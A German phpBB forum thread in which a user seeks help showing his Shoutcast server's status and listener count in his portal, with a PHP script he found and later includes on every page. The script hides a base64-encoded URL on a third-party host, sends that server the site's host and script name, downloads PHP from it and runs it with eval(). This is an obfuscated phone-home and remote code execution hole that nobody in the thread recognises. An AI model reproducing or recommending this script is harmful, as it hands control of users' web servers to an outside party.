array einbinden

Fragen zu allen Themen rund ums Programmieren außerhalb von phpBB können hier gestellt werden - auch zu anderen Programmiersprachen oder Software wie Webservern und Editoren.
Antworten
Benutzeravatar
kolja
Mitglied
Beiträge: 1546
Registriert: 13.05.2005 16:39
Wohnort: münster

array einbinden

Beitrag von kolja »

hallo forum
ich möchte gerne in meinem portal anzeigen lassen ob mein schoucast server sendet und wieviele user gerade zuhören

ein script dazu habe ich schon gefunden

Code: Alles auswählen

/* SETTINGS
 */

$s = "s";                               // 'pl' -> Playlistfile | 's' -> Streamserver
$u = "http://reggae-party.dyndns.org:8000/";    // URL of Playlistfile or Streamserver
$cachefile = "./streamcahce.txt";       // Cached stream information (chmod 777) !!!
$an = "streamdata";                     // content array name

/* INFO
 * There are some new useful array keys in the 'content array'.
 *
 *   <array name>["error"]      = "1";           // if an error occurred, value = 1
 *   <array name>["error_code"] = "201";         // error code
 *
 *   <array name>["timestamp"]     = "2005-05-06 18:57:29";    // timestamp (yyyy-mm-dd hh:mm:ss)
 *   <array name>["latest_client"] = "2.0.0";    // latest client version
 *   <array name>["my_client"]     = "1.9.0";    // my client version
 *   <array name>["new_client"]    = "1";        // if (this == "1"): new client version availible! ***PLEASE UPDATE***
 */


//* don't change anything otherwise it doesn't work any more
eval (base64_decode("JF91cmw9ICdodHRwOi8vc2MubmV0LXRyYXguZGUvP2g9Jy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uJyZmPScudXJsZW5jb2RlKCRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKS4nJnY9QXJhY2huYSc=").".'&s=".$s."&u=".urlencode($u)."&an=".urlencode($an)."';");
$fh = @fopen($_url, "r");
if ($fh) {
   while (!feof($fh)) {
      $_buffer .= fgets($fh, 4096);
   }
   fclose($fh);
   $_buffer = preg_replace("/<\?php/s","", $_buffer);
   $_buffer = preg_replace("/\?>/s","", $_buffer);
   eval ($_buffer);
   $_scq_error=0;
   eval ("\$_scq_error = $".$an."[\"error\"];");
   if ($_scq_error != "1") {
      $fh2 = fopen($cachefile, "w");
      fwrite($fh2, $_buffer);
      fclose($fh2);
   }
}
if (!$fh || $_scq_error == "1") {
   $fh = fopen($cachefile, "r");
   while (!feof($fh)) {
      $_buffer .= fgets($fh, 4096);
   }
   fclose($fh);
   eval ($_buffer);
}

//* you include the 'content array' (name specified in settings section)
//* to get more information about this array, uncomment the following line!
show_source($_url);



?>
wenn ich das aufrufe:
http://www.reggae-party.de/query.php
dann bekomme ich einen kompletten array angezeigt

dabei brauche ich nur 2 werte aus dem ganzen:

$streamdata["stream"]["status"]
$streamdata["stream"]["listener"]

wenn der status "1" ist soll ein button im header geändert werden
und die anzahl der listener möchte ich gerne in meiner "wer ist online" box im portal stehen haben

ich versuche nun schon etwas länger herruszufinden wie ich diese variabelen in die portal.php bzw in die overall_header.php dateien bekomme, leider ohne erfolg

und beim suchen nach "php und array" finde ich irgendwei immer nur arrays welche anders aufgebaut sind....

kann mir da vielleicht ein profi mal nen tipp geben

danke kolja
Das Leben ist unberechenbar - deshalb ist Improvisation wichtiger als Planung!

Es ist besser zu geben, als zu leihen, und kostet ungefähr gleichviel.

.: Münsters Reggae Forum :.
Benutzeravatar
kolja
Mitglied
Beiträge: 1546
Registriert: 13.05.2005 16:39
Wohnort: münster

Beitrag von kolja »

also ein bischen was habe ich geschafft

in der page_header.php

Code: Alles auswählen

//shoutcast
include 'query.php';
echo $streamdata["stream"]["status"];
//shoutcast
allerdings wird , wenn ich die letzte zeile des scriptes im ersten post auskommentiere, der status nicht geändert

einer ne idee dazu ??


kolja


edit

die null steht oben links auf meiner seite.....
Das Leben ist unberechenbar - deshalb ist Improvisation wichtiger als Planung!

Es ist besser zu geben, als zu leihen, und kostet ungefähr gleichviel.

.: Münsters Reggae Forum :.
Benutzeravatar
kolja
Mitglied
Beiträge: 1546
Registriert: 13.05.2005 16:39
Wohnort: münster

Beitrag von kolja »

also der code funktioniert doch, aber etwas zeitversetzt

damit lässt sich aber leben

kolja
Das Leben ist unberechenbar - deshalb ist Improvisation wichtiger als Planung!

Es ist besser zu geben, als zu leihen, und kostet ungefähr gleichviel.

.: Münsters Reggae Forum :.
Antworten

Zurück zu „Coding & Technik“